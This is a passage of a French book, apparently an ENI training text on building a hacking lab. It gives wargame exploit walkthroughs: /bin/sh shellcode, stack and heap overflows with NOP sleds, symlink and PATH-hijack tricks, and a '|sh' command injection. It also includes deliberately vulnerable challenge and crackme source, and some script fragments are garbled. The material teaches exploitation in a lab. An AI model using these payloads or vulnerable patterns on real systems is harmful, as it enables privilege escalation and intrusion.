rien de bien compliqué par rapport à d’autres challenges que l’on peut trouver.

Voici donc comment l’exploiter.

Pour exploiter ce programme, le shellcode donné par Wikipédia est amplement suffisant

(cherchons grâce à Google « shellcode wikipedia » et nous tomberons sur des shellcodes que

nous pourrons utiliser :

level2@vm_bof:/wargame$ EGG=`printf

’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b

\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd

\x80\xe8\xdc\xff\xff\xff/bin/sh’`

level2@vm_bof:/wargame$ export EGG

level2@vm_bof:/wargame$ ./level2

Trying to execute EGG!

sh-3.1$ id

uid=1002(level2) gid=1002(level2) euid=1003(level3)

groups=1002(level2)

sh-3.1$ cat /home/level3/.passwd

HHTYgtfr76y

Nous plaçons donc le shellcode dans une variable que nous appelons EGG qu’il faut ensuite

exporter.

Il nous suffit ensuite de lancer le level2.

level3

L’exploitation semble moins simple : nous sommes en présence de la fonction strcpy qui va

dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est passé en argument

au programme, et qui donc peut faire plus de 128 octets.

Nous pouvons donc écraser une partie de la mémoire avec le contenu du buffer, buffer que

nous maîtrisons.

Contrairement à level1 par exemple, aucune variable n’est à remplacer ; nous allons donc

essayer de détourner le flux d’exécution du programme.

Le programme va appeler strcpy, puis faire appel à printf.

Nous allons essayer de détourner le flux du programme en lui faisant appeler autre chose que

le printf initialement prévu.

Voyons concrètement la technique à utiliser ici.

Nous allons comme dans le level2 mettre notre shellcode dans une variable d’environnement,

trouver son adresse en mémoire et l’exécuter à la place du printf.

Pour cela, il ne faut pas que la machine fasse de la « randomization » de mémoire, c’est-à-dire

une attribution d’adresses aléatoires.

Nous allons donc vérifier cela :

level3@vm_bof:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space

0

La variable randomize_va_space est à 0, ce qui indique que nous n’avons pas de

randomisation.

Nous allons donc réutiliser le shellcode du level2 :

level3@vm_bof:/tmp/aaa$ EGG=`printf

’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b

\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd

\x80\xe8\xdc\xff\xff\xff/bin/sh’`

level3@vm_bof:/tmp/aaa$ export EGG

Nous pouvons écrire un programme permettant de connaître l’adresse du shellcode. Nous

devons placer ce programme dans le répertoire /tmp, pour lequel nous avons le droit en

écriture.

Voici un programme écrit en C issu du web que nous avons adapté à notre shellcode (surtout à

la variable EGG) :

level3@vm_bof:/tmp/aaa$ cat envenv.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(void){

char *p = NULL;

p = getenv("EGG");

printf("@EGG= %p\r\n", p);

return 0;

}

level3@vm_bof:/tmp/aaa$ make envenv

cc envenv.c -o envenv

level3@vm_bof:/tmp/aaa$ /tmp/aaa/envenv

@EGG= 0xbffffc48

Il est nécessaire que le nom du programme calculant l’adresse ait la même longueur que le

programme victime : "/wargame/level3" = "/tmp/aaa/envenv". C’est pourquoi nous mettrons

notre programme dans un répertoire que nous créerons et que nous appellerons aaa et ce dans

/tmp. En effet, ce nom est enregistré dans la mémoire du processus (argv[0]), décalant ainsi

l’adresse de la variable d’environnement.

Nous devons maintenant aller faire un tour du côté du debugger gdb afin de trouver l’adresse

de retour de la fonction strcmpy.

Quelques essais avec gdb (en modifiant le nombre de « a ») donnent la solution :

(gdb) r `python -c "print ’a’*200"`

Starting program: /wargame/level3 `python -c "print ’a’*200"`

Program received signal SIGSEGV, Segmentation fault.

0x61616161 in ?? ()

(gdb) info reg

eax 0x0 0

ecx 0xb7fe0434 -1208089548

edx 0xb7fe1448 -1208085432

ebx 0xb7fdfff4 -1208090636

esp 0xbffffa10 0xbffffa10

ebp 0x61616161 0x61616161

esi 0x0 0

edi 0xb8000cc0 -1207956288

eip 0x61616161 0x61616161

eflags 0x10282 [ SF IF RF ]

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

À force de tests, nous observons que l’EIP est écrasé à partir du 140e caractère entré.

L’EIP (Extender Instruction Pointer) est le pointeur d’instruction. Quand une instruction est

en cours d’exécution, EIP contient l’adresse de la prochaine instruction à exécuter.

Le programme échoue ici (SIGSEGV) car nous avons écrasé EIP avec la valeur 0x61616161.

L’adresse du shellcode est à 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses

s’écrivent à l’envers (l’adressage est de type little endian).

Maintenant que nous avons toutes les informations disponibles, nous pouvons exploiter le

programme :

level3@vm_bof:/tmp/aaa$ /wargame/level3 `python -c "print

’A’*140+’\x48\xfc\xff\xbf’"`


jhR5Drz4r

sh-3.1$ exit

level3@vm-bof:/tmp/aaa$ su - level4

Password:

level4@narnia:~$

strcpy copie le buffer et écrase EIP avec une adresse. Le programme continue sur cette

adresse, contenant un shellcode d’où l’exécution de ce dernier.

level4

Le programme est assez simple à comprendre. Il prend en entrée un fichier de nom ifile et

ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme

file descriptor ofd.

Nous sommes donc très proches de l’exploitation level1.

Dans la mémoire, nous allons trouver de manière contiguë ifile, qui fait une taille de 32 octets,

et ofile.

Nous pourrons donc écrire plus de 32 octets dans ifile et arriver dans ofile pour l’écraser.

Nous pourrons alors changer le nom du fichier de sortie.

Il faut donc un fichier d’entrée pointant vers le mot de passe de level5 ; nous allons passer par

un lien symbolique qui pointera vers le fichier voulu (.passwd). Ce nom de fichier doit faire

plus de 32 caractères. Les caractères au-delà du trente-deuxième caractère doivent

correspondre d’une part à un fichier existant et d’autre part à un fichier dans lequel level5

peut écrire.

Quelques commandes UNIX permettent d’aboutir au mot de passe sans trop de souci :

level4@vm_bof:/wargame$ cd /tmp

level4@vm_bof:/tmp$ ln -s /home/level5/.passwd

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

level4@vm_bof:/tmp$ touch aaaaaaaa

level4@vm_bof:/tmp$ chmod 666 aaaaaaaa

level4@vm_bof:/tmp$ /wargame/level4

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a

safer place...

(aaaaaaaa)

level4@vm_bof:/tmp$ cat aaaaaaaa

WhT8y75tP

(none)üÿ¿_ñlevel4@vm_bof:/tmp$ su - level5

Nous commençons donc par nous placer dans le répertoire /tmp.

Nous créons ensuite un lien symbolique entre /home/level5/.passwd et un nom de fichier , soit

ici « aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ». Ce fichier fait 32 + 8 octets donc 40 « a

».

Le nom du fichier écrasé dans ofile sera donc « aaaaaaaa ».

Il faut donc créer ce fichier car il doit exister.

Nous le créons grâce à la commande touch et lui donnons les droits en lecture/écriture.

Quand nous exécutons le programme en donnant comme fichier les 40 a, c’est en fait

/home/level5/.passwd qui est le fichier d’entrée et le contenu sera écrit dans le fichier

aaaaaaaa.

Nous pouvons donc lire le contenu de ce fichier qui contiendra le mot de passe du niveau

suivant.

level5

Nous ne pouvons pas ici utiliser de variable d’environnement pour placer notre shellcode

comme dans certaines épreuves précédentes car elles sont toutes écrasées et remplies par des

zéros.

Nous avons une chaîne que l’on maîtrise, argv[1].

Cette chaîne, au-delà d’un certain seuil, va déborder de son buffer. Dans le level3 nous avons

rempli de manière arbitraire la chaîne avec des « a » (ce que l’on appelle le « bourrage ») pour

écraser EIP avec l’adresse de notre variable d’environnement contenant le shellcode.

Il va falloir que nous mettions le shellcode ailleurs que dans une variable d’environnement.

Nous avons suffisamment de place dans la chaîne elle-même !

Le paramètre argv[1] va donc contenir un shellcode, des caractères de bourrage, puis une

adresse pointant vers le shellcode. Cette adresse va écraser EIP, et le shellcode va donc

s’exécuter.

Le but est donc de placer notre shellcode dans l’argument lui-même, de trouver son adresse en

mémoire et de placer cette adresse dans EIP.

argv[1] vaudra donc : shellcode+bourrage+adresse.

Le plus gros problème consiste à trouver l’adresse de ce shellcode.

Nous pouvons plutôt utiliser comme argv[1] : bourrage+shellcode+adresse. Le bourrage étant

par nature arbitraire, nous allons employer des \x90. \x90 en assembleur 8086, c’est le NOP,

c’est-à-dire : « ne fait rien et passe à l’instruction suivante ».

Cette instruction NOP est très fréquemment utilisée dans les shellcode afin d’avoir une plage

d’adresse utilisable au lieu d’avoir exactement l’adresse du shellcode.

L’exécution enchaînera les NOP jusqu’à exécuter notre shellcode.

Nous devons donc trouver la taille de NOP(s)+shellcode+adresse afin d’écraser et de

remplacer l’adresse contenue dans EIP par la nôtre. gdb va nous y aider :

level5@vm_bof:/wargame$ ./level5 `python -c "print ’a’*200"`

Segmentation fault


Segmentation fault




Illegal instruction

level5@vm_bof:/wargame$

Nous commençons donc, par tâtonnements, par essayer de trouver ce nombre.

Nous écrasons donc à 124, vérifié par :

level5@vm_bof:/wargame$ gdb /wargame/level5

GNU gdb 6.4.90-debian

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License,

and you are welcome to change it and/or distribute copies of

it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for

details.

This GDB was configured as "i486-linux-gnu"...Using host

libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) run `python -c "print ’a’*124+’AAAA’"`

Starting program: /wargame/level5 `python -c "print ’a’*124+’AAAA’"`

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

Nous voyons ici que le programme essaie de retourner à l’adresse 0x41414141 qui ne

correspond à rien d’où l’erreur « Segmentation fault ».

Si maintenant nous regardons le contenu des registres, nous obtenons :

(gdb) info reg

eax 0x0 0

ecx 0xfffffe07 -505

edx 0xbffffc4a -1073742774

ebx 0xb7fdfff4 -1208090636

esp 0xbffffa50 0xbffffa50

ebp 0x61616161 0x61616161

esi 0x0 0

edi 0xb8000cc0 -1207956288

eip 0x41414141 0x41414141

eflags 0x10246 [ PF ZF IF RF ]

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

(gdb)

Nous avons bien nos « a » (\x61 dans EBP) et nos « A » (\x41 dans EIP).

Nous pouvons de plus regarder vers quelle adresse se situe notre argv[1].

L’inconvénient est que cette adresse ne correspondra pas à l’adresse du programme lancé sans

gdb. En effet, gdb lui aussi est en mémoire et décale donc l’ensemble des adresses du

programme (la véritable adresse sera donc supérieure en valeur).

Nous allons observer la RAM pour avoir notre première approximation :

(gdb) x/60x $esp-180

0xbffff99c: 0x0804850f 0xbffff9d0 0xbffffbc9 0x00000021

0xbffff9ac: 0x00003638 0x00000000 0x00000000 0x00000000

0xbffff9bc: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff9cc: 0x00000011 0x61616161 0x61616161 0x61616161

0xbffff9dc: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffff9ec: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffff9fc: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffffa0c: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffffa1c: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffffa2c: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffffa3c: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffffa4c: 0x41414141 0x00000000 0xbffffac4 0xbffffad0

0xbffffa5c: 0x00000000 0xb7fdfff4 0x00000000 0xb8000cc0

0xbffffa6c: 0xbffffa98 0xbffffa50 0xb7ec7e6d 0x00000000

0xbffffa7c: 0x00000000 0x00000000 0xb7ff6090 0xb7ec7ded

Donc vers 0xbffff9dc, nous arrivons dans argv[1].

Nous pouvons donc construire notre argv[1]. La taille complète doit faire 128 octets. Le

shellcode trouvé sur Wikipédia fait 45 octets. La chaîne est construite avec :

79xNOP+Shellcode+adresse (sur 4 octets)=128 octets.

Nous allons donc tenter différentes adresses.

La première adresse que nous allons tenter sera 0xbffff9dc, cette dernière ne fonctionnera

vraisemblablement pas, sauf si gdb a décalé moins de 79 octets, nombre qui correspond à nos

NOP. Ensuite, nous allons tenter la même adresse plus 79 octets, plus 79 octets une seconde

fois, etc. jusqu’à tomber sur nos NOP (79 en décimal correspond à 0x4f en hexadécimal) :

0xbffff9dc+0x4f=0xBFFFFA2B puis BFFFFA7A puis BFFFFB18 puis etc.

level5@vm_bof:/wargame$ ./level5 `python -c "print

’\x90’*79+’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\

xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\

xcd\x80\xe8\xdc\xff\xff\xff’+’/bin/sh’+’\xdc\xf9\xff\xbf’"`

Segmentation fault

level5@vm_bof:/wargame$ ./level5 `python -c "print

’\x90’*79+’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\

xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\

xcd\x80\xe8\xdc\xff\xff\xff’+’/bin/sh’+’\x2b\xfa\xff\xbf’"`


Bg8htOO96

sh-3.1$ exit

level5@vm_bof:/wargame$ su - level6

Password:

level6@vm_bof:~$

La première erreur de segmentation (segfault) est attendue. Ensuite, nous avançons de 79

octets et nous arrivons quelque part dans les NOP, ce qui nous montre bien l’efficacité de

mettre les NOP avant le shellcode. Si le shellcode était en première position, nous aurions dû

monter les adresses octet par octet pour trouver la bonne adresse.

Conditions générales d'utilisation

Copyright - ©Editions ENI

Accueil Précédent

[email protected] Livres gratuits

Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures

Sommaire

Informations générales o Titre, auteur...

Introduction o Introduction

Proxmox o Présentation o Installation o Configuration o Conclusion

Machines virtuelles et services o Introduction o Serveur DHCP o OpenVPN o Serveur FTP o Serveur web o Serveur Asterisk o Nagios o Conclusion

Mise en place des épreuves o Introduction o Création de cinq épreuves applicatives o Création de cinq épreuves logiques o Création d'épreuves crakme o Création des épreuves web

Plateformes d’entraînement Le matériel indispensable

Création de cinq épreuves logiques

http://www.eni-training.com/client_net/bncourse.aspx?idsession=cfea3088-ef6e-4565-a1fd-5d1320a3771e

http://www.eni-training.com/client_net/mediabook.aspx?idsession=cfea3088-ef6e-4565-a1fd-5d1320a3771e&idr=52258&ida=52260



















La méthode est la même que précédemment. Nous devons d’abord créer une nouvelle

machine virtuelle puis créer les utilisateurs, le dossier /wargame et donner les droits aux

fichiers qui suivent.

1. Épreuve level1

La création de la première épreuve est simple : nous créons un fichier dans /home/level1 qui

se nommera .backup et dans lequel nous inscrirons le mot de passe de level2.

2. Épreuve level2

Le fichier level2.c est :

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#define _GNU_SOURCE

#include <unistd.h>

#define COMMAND "/bin/cat "

#define MAX_SIZE 100

void secure( char * str[] )

{

char * replace;

unsigned int i;

char dangerous[] = "#&;`’\"*?<>ˆ()[]{}$,\t\n ";

/* No absolute path */

while( *str[0] == ’/’ )

{

(*str)++;

}

/* No directory traversal */

while( (replace = strstr(*str, "../")) )

{

replace[1] = ’/’;

}

/* No shell special chars */

for( i=0; i<strlen(dangerous); i++ )

{

while( (replace = strchr(*str, dangerous[i])) )

{

replace[0] = ’_’;

}

}

}

int main( int argc, char ** argv )

{

char mycat[ strlen(COMMAND) + MAX_SIZE + 1 ] = {0};

setresuid(geteuid(),geteuid(),geteuid());

if( argc < 2 )

{

printf( "Usage : %s <file>\n", argv[0] );

exit(1);

}

if( strlen(argv[1]) > MAX_SIZE )

{

printf( "Nom de fichier trop long !\n");

exit(1);

}

secure( &argv[1] );

sprintf(mycat, "%s%s", COMMAND, argv[1]);

system( mycat );

return 0;

}

3. Épreuve level3


#include <stdlib.h>

#include <stdio.h>

int main(){

system("ls /home/level4/.passwd");

return 0;

}

4. Épreuve level4


#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#define PASSFILE "/home/level5/.passwd"

#define MAX_SIZE 100

int main( int argc, char ** argv )

{

FILE * f;

char password[ MAX_SIZE + 1 ] = {0};

if( argc < 2 || (f = fopen(PASSFILE, "r")) == NULL || fgets(password,

MAX_SIZE, f) == NULL )

{

printf("he non !.\n");

exit(1);

}

if( strncmp( argv[1], password, MAX_SIZE ) == 0 )

{

printf("Excellent ! =)\n");

}

}

5. Épreuve level5


#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#define SIZE 50

#define CMD "/bin/cat /home/level6/.passwd"

int main()

{

char * buff1 = malloc(SIZE);

char * buff2 = malloc(SIZE);

if( buff1 == NULL || buff2 == NULL )

{

puts("Allocation memoire invalide.");

return 1;

}

gets( buff1 );

free( buff1 );

if( strcmp(buff2, "RMLL2011") == 0 )

{

puts("Bien :)");

system( CMD );

}

else

{

puts("Essai encore...");

}

free(buff2);

return 0;

6. Solution des épreuves

level1

Le mot de passe est dans /home/level1/.backup.

level2

./level2 "|sh"

whoami

level3


Nous remarquons en effectuant différents tests que level2 acceptant des arguments, nous

pouvons placer un pipe ( | ) comme argument et donc ensuite un shell, sh par exemple qui

nous fait de suite devenir level3.

De ce fait, nous pouvons aller lire le mot de passe de level3.

level3

Pour exploiter ce niveau, nous allons recréer une commande ls dans le répertoire /tmp.

Dans ce nouveau fichier ls, nous inscrirons ce que nous voulons faire, c’est-à-dire

cat /home/level4/.passwd.

Nous donnerons ensuite tous les droits (777) à ce fichier ls.

Pour terminer, nous mettrons dans le PATH le chemin de ce nouveau ls.

Il nous reste à lancer level3. Le système ira d’abord chercher un ls dans le PATH et exécutera

notre ls à la place du ls système et exécutera donc son contenu soit le cat

/home/level4/.passwd.

cat > /tmp/ls


chmod 777 /tmp/ls

export PATH="/tmp:$PATH"

./level3

level4

Ce qu’il fallait remarquer ici, c’est l’absence de return dans le main.

Nous désassemblons pour voir ce qu’il se passe.

(gdb) disass main

0x08048565 <main+225>: mov DWORD PTR [esp+0x4],eax

0x08048569 <main+229>: mov DWORD PTR [esp],edx

0x0804856c <main+232>: call 0x80483b0 <strncmp@plt>

0x08048571 <main+237>: test eax,eax

0x08048573 <main+239>: jne 0x8048581 <main+253>

0x08048575 <main+241>: mov DWORD PTR [esp],0x804866d

0x0804857c <main+248>: call 0x80483a0 <puts@plt>

0x08048581 <main+253>: add esp,0x90

0x08048587 <main+259>: pop ecx

0x08048588 <main+260>: pop edi

0x08048589 <main+261>: pop ebp

0x0804858a <main+262>: lea esp,[ecx-0x4]

0x0804858d <main+265>: ret

Nous remarquons alors que le résultat de la fonction strncmp est laissé dans eax et retourné

par ret. En regardant le manuel de strncmp, nous pouvons voir que les fonctions strcmp() et

strncmp() renvoient un entier inférieur, égal ou supérieur à zéro si s1 (ou ses n premiers

octets) est respectivement inférieure, égale ou supérieure à s2.

Nous pouvons alors caractère par caractère déduire le mot de passe lu via le code de retour du

programme.

Voici un script qui réalise cette opération :

#!/bin/bash

charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234

56789"

code=`perl -e "print ord(’z’)"`

pass=""

for i in `seq 16`

do

test="${pass}z"

/home/basic7/passtest "$test"

retcode=ècho $?`

var="èxpr $code - $retcode`"

var="`perl -e "print chr("$var")"`"

pass="${pass}${var}"

done

echo $pass

Nous lançons le script et nous obtenons le mot de passe.

basic8@wargame:/tmp/.elz$ sh test.sh

level5

Pour commencer l’étude de cette épreuve, nous allons donner des arguments au binaire level5

(58 octets).

Nous voyons un message d’erreur qui s’affiche dans gdb.

fasm@moya:~$ python -c "print ’A’*58" | ./level5

*** glibc detected *** ./basic10: free(): invalid next size (fast):

0x0804a008 ***

======= Backtrace: =========

/lib/i686/cmov/libc.so.6[0xb7ef0764]

/lib/i686/cmov/libc.so.6(cfree+0x96)[0xb7ef2966]

./basic10[0x804850a]

/lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e98455]

./basic10[0x8048411]

Nous allons maintenant désassembler le programme.

(gdb) disass main

(...)

0x08048505 <main+97>: call 0x80483ac <free@plt>

(...)

Nous retrouvons en main+97 la fonction free qui était la cause de l’arrêt du programme.

Nous plaçons un point d’arrêt. Nous relançons ensuite le programme (r) et nous allons

examiner le contenu de la pile (x/x $esp).

Le contenu de esp est l’adresse 0x0804a008, nous allons donc voir à cette adresse.

(gdb) b *main+97

Breakpoint 1 at 0x8048505

(gdb) r

Starting program: /home/basic10/basic10 AAAA

AAAA

Breakpoint 1, 0x08048505 in main ()

Current language: auto; currently asm

(gdb) x/x $esp

0xbffff8a0: 0x0804a008

(gdb) x/x 0x0804a008

0x804a008: 0x41414141

Nous avons à cette adresse 0x41414141, nous écrasons donc EIP.

Si nous soustrayons 4 et vérifions le contenu de cette adresse, nous avons 0x39. Nous

pouvons donc écrire notre exploit.

(gdb) x/x 0x0804a008-4

0x804a004: 0x00000039

fasm@moya:~$ python -c "import struct; print ’AAAA’*13 +

struct.pack(’<I’,0x00000039) + ’RMLL2011’" | ./level5

Conditions générales d'utilisation

Copyright - ©Editions ENI

Accueil Précédent

[email protected] Livres gratuits

Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures

Sommaire

Informations générales o Titre, auteur...

Introduction o Introduction

Proxmox o Présentation o Installation o Configuration o Conclusion

Machines virtuelles et services o Introduction o Serveur DHCP o OpenVPN o Serveur FTP o Serveur web o Serveur Asterisk o Nagios o Conclusion

Mise en place des épreuves o Introduction o Création de cinq épreuves applicatives o Création de cinq épreuves logiques o Création d'épreuves crakme o Création des épreuves web

http://www.eni-training.com/client_net/bncourse.aspx?idsession=cfea3088-ef6e-4565-a1fd-5d1320a3771e




















Plateformes d’entraînement Le matériel indispensable

Création d’épreuves crakme

D’après Wikipédia : « Un crackme (littéralement "cracke-moi") est un petit programme

destiné à tester les capacités en rétro-ingénierie d’un programmeur. Le but typique d’un

crackme est d’être modifié afin que la routine d’enregistrement de celui-ci fonctionne dans

tous les cas.

Les crackmes (et implicitement les schémas de protections qu’ils utilisent) sont tantôt

programmés et vus soit comme de simples jeux, soit comme de réels entraînements destinés à

enlever des protections logicielles commerciales. »

Nous allons vous montrer ici quelques exemples de crackme que nous pourrons mettre en

téléchargement, par exemple sur le serveur FTP que nous avons créé au chapitre Machines

virtuelles et services.

1. Crackme 1

Un crackme peut être écrit en n’importe quel langage compilé. Nous utiliserons le langage C.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

/* Declaration des constantes */

#define PASSWORD "Mirobolant"

#define SHELL "/bin/bash"

#define MSG "\033[1;31mStarting Root Shell ...Le Pass est

F.scAW8A9jRmk \033[0m\n"

int main (int nb_arg, char *argv[]) {

/* Si nous n’avons pas au moins un argument en paramètre */

if (nb_arg != 2) {

fprintf(stderr,"Segmentation Fault\n");

exit(1);

}

if (strcmp(PASSWORD, argv[1]) == 0) {

fprintf(stdout,MSG);

setuid(0);

setgid(0);

system(SHELL);

return(0);

} else {

fprintf(stderr,"Segmentation Fault\n");

exit(1);

}

}

Nous enregistrerons ce programme sous un fichier nommé crackme1.c.

Nous devons compiler ce programme et nous ne fournirons, bien sûr, que le binaire et non le

programme source.

fasm#gcc -m32 -o crackme1 crackme1.c

fasm#chmod +x crackme1

fasm#chmod +s crackme1

2. Épreuve crackme2

Le fichier crackme2.c est le suivant :

#include <time.h>

#include <stdlib.h>

#include <stdio.h>

int strcmp(const char *s1, const char *s2) {

int ret = 0;

srand(time(NULL));

int r = rand();

while (!(ret = *(unsigned char *) s1 - *(unsigned char *)

s2) && *s2) {

++s1;

++s2;

int i;

for (i = 0;i < r % 5000; i++){

float j= i % 10 ;

}

}

if (ret < 0)

ret = -1;

else if (ret > 0)

ret = 1 ;

return ret;

}

int main(int argc, char* argv[]){

if (!

strcmp(argv[1],"446476db4b7111d2a2b1c48217ceaa4d7ac28db4c3a68a513

97289c94d6c19fc3854d793cd9a71b4febd783ddfb4649a3d6cc77234c90036c0

570250ca60709f")){

printf("sKTqUx0rfTsWk\n");

return 1;

}

return 0;

}

3. Solution crackme

a. Crackme1

Nous lançons donc gdb afin de désassembler le programme crackme :

fasm#gdb crackme1

(gdb) set disassembly-flavor intel

(gdb) disassemble main

Nous voyons ici que, avant le strcmp, quelque chose à l’adresse 0x80486dc est chargé dans

esp.

Allons donc voir à cette adresse :

Nous voyons que le mot « Mirobolant » est chargé. Testons-le.

Le problème est donc résolu.

b. Solution crackme2

La solution ici est identique à la précédente, la clé n’étant plus une chaîne de caractères mais

un nombre.

4. D’autres crackmes

Nous pourrons trouver sur Internet une multitude de crackmes disponibles que nous pourrons

mettre à disposition sur notre serveur FTP.

Nous pourrons aussi en créer nous-mêmes si nous nous en sentons capables soit en C, en C++,

en assembleur... suivant nos goûts et envies...

Seule votre imagination pourra vous limiter dans leur création.

Création des épreuves web

1. Préparation du serveur

Au chapitre Machines virtuelles et services, nous avons vu l’ensemble des fichiers de

configuration du serveur Apache. Nous avons travaillé sur un nouveau fichier « nouveau_host

» pour vous montrer une configuration possible avec des sous-domaines. Pour la

simplification de l’écriture des épreuves et pour éviter d’être dans un environnement qui

nécessite un DNS, nous allons prendre un fichier de configuration de base. Entrons dans notre

serveur Proxmox, activons la machine WEB1 et copions le fichier de configuration par défaut.

root@bt:~# ssh [email protected]

[email protected]’s password:

Linux proxmox 2.6.32-19-pve #1 SMP Mon Mar 18 06:41:32 CET 2013

x86_64

The programs included with the Debian GNU/Linux system are free

software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Sat Apr 6 10:42:07 2013





Setting CPUs: 1





entered into CT 100

root@WEB1:/# cp /etc/apache2/sites-available/default

/etc/apache2/sites-available/conf1

root@WEB1:/#

Si nous voulons travailler à plusieurs sur des épreuves web différentes, il peut être intéressant

d’avoir chacun son dossier personnel contenant un répertoire www. Il faut alors faire pointer

la racine du serveur Apache sur ce dossier. Comme expliqué au chapitre Installation des

machines virtuelles et des services nécessaires, en travaillant avec des sous-domaines, nous

pourrons faire pointer la racine de chaque VirtualHost à des endroits différents. Nous

pouvons aussi jouer sur le port d’écoute. Ici, nous pourrions nous placer dans un cas plus

simple mais nous laissons cette possibilité pour plus tard. En effet, nous considérons que nous

sommes pour le moment seuls à écrire des épreuves. Effectuons les tâches suivantes :

Création d’un utilisateur web.

Création d’un dossier www dans notre dossier personnel.

Changement du « user » et du « group » du dossier www.

Changement des droits du dossier www pour que l’utilisateur web et le

serveur Apache puissent avoir les droits en lecture et écriture.

root@WEB1:/# adduser web

Adding user `web’ ...

Adding new group `web’ (1000) ...

Adding new user `web’ (1000) with group `web’ ...

The home directory `/home/web’ already exists. Not copying from

`/etc/skel’.

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Changing the user information for web

Enter the new value, or press ENTER for the default

Full Name []:

Room Number []:

Work Phone []:

Home Phone []:

Other []:

Is the information correct? [Y/n] Y

root@WEB1:/# mkdir /home/web/www

root@WEB1:/# chown web.www-data /home/web/www

root@WEB1:/# chmod ug+rw /home/web/www

root@WEB1:/# ls -l /home/web/ -l

total 4

drwxrwxr-x 2 web www-data 4096 Apr 8 07:19 www

root@WEB1:/#

Les épreuves seront orientées PHP. Nous avons fait ce choix car c’est statistiquement le

langage le plus utilisé pour la réalisation de sites web. Voici par exemple une statistique issue

du site W3Techs.com.

PHP est de plus open source et gratuit. Bien entendu, rien ne vous empêche d’installer un

serveur ASP, mais dans ce cas il faudra utiliser une machine virtuelle et non un conteneur, ce

qui vous ferait perdre les avantages d’OpenVZ.

Installons le module PHP, qui en est à sa version 5.3.3 au moment de l’écriture de ces lignes.

root@WEB1:/# aptitude install php5


apache2-mpm-prefork{ab} libapache2-mod-php5{a} libonig2{a}

libqdbm14{a} php5 php5-cli{a} php5-common{a}

php5-suhosin{a}


upgraded.

Need to get 6663 kB of archives. After unpacking 17.3 MB will be

used.

The following packages have unmet dependencies:

apache2-mpm-prefork: Conflicts: apache2-mpm which is a virtual

package.

apache2-mpm-worker: Conflicts: apache2-mpm which is a virtual

package.

Internal error: found 2 (choice -> promotion) mappings for a

single choice.

The following actions will resolve these dependencies:

Remove the following packages:

1) apache2-mpm-worker

Accept this solution? [Y/n/q/?] Y

Pour certaines épreuves web, nous allons devoir avoir un accès à une base de données. Nous

choisissons d’installer MySQL en version 5.1.

root@WEB1:/# aptitude install mysql-server-5.1


libdbd-mysql-perl{a} libdbi-perl{a} libhtml-template-perl{a}

libmysqlclient16{a} libnet-daemon-perl{a}

libplrpc-perl{a} mysql-client-5.1{a} mysql-common{a}

mysql-server-5.1 mysql-server-core-5.1{a} psmisc{a}


upgraded.

Need to get 23.4 MB of archives. After unpacking 55.7 MB will

be used.

Do you want to continue? [Y/n/?] Y

Lors de cette installation, il faudra définir le mot de passe pour l’utilisateur root de la base de

données.

Il ne nous reste plus qu’à installer quelques modules PHP qui nous seront utiles, comme le

module php-mysql pour l’accès à la base de données, et le module php-gd pour la

construction de CAPTCHA.

root@WEB1:/# apritude install php5-mysql

root@WEB1:/# aptitude install php5-gd

Voilà, nous disposons de tous les modules nécessaires. Pour que la racine de notre serveur

web pointe vers le dossier www du dossier personnel de l’utilisateur web, il faut modifier le

fichier de configuration que nous avons copié. Voici ce qu’il devient :

<VirtualHost *:80>

ServerAdmin webmaster@localhost

DocumentRoot /home/web/www

<Directory />

Options FollowSymLinks

AllowOverride None

</Directory>

<Directory /home/web/www>

Options Indexes FollowSymLinks MultiViews

AllowOverride None

Order allow,deny

allow from all

</Directory>
